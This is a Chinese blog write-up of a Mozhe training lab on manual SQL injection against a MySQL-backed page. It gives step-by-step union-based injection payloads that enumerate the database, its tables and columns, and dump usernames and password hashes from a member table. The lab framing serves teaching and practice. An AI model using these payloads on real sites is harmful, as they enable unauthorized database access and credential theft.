墨者-SQL手工注入漏洞测试(MySQL数据库)

1.寻找注入点

在地址栏加上语句“and 1=1”,页面可以正常显示。再尝试加入语句“and 1=2”,页面显示出错,没有了相关内容。说明地址栏是一个sql 的一个注入口

2.order by判断
/new_list.php?id=1 order by 4

/new_list.php?id=1 order by 5
3.联合查询找回显位置
/new_list.php?id=-1 union select 1,2,3,4

4.查数据库
/new_list.php?id=-1 union select 1,database(),3,4

5.查表
/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

可知,数据库mozhe_Discuz_StormGroup下有两个表,一个StormGroup_member,另一个为notice

6.指定StormGroup_member表查列名信息
/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

7.查询指定数据
/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

8.页面登录发现错误

9.怀疑是否存在有多个用户名和密码
?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,2

?id=-1 union select 1,name,password,4 from StormGroup_member limit 2,3

说明只有两个密码

9.解密

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值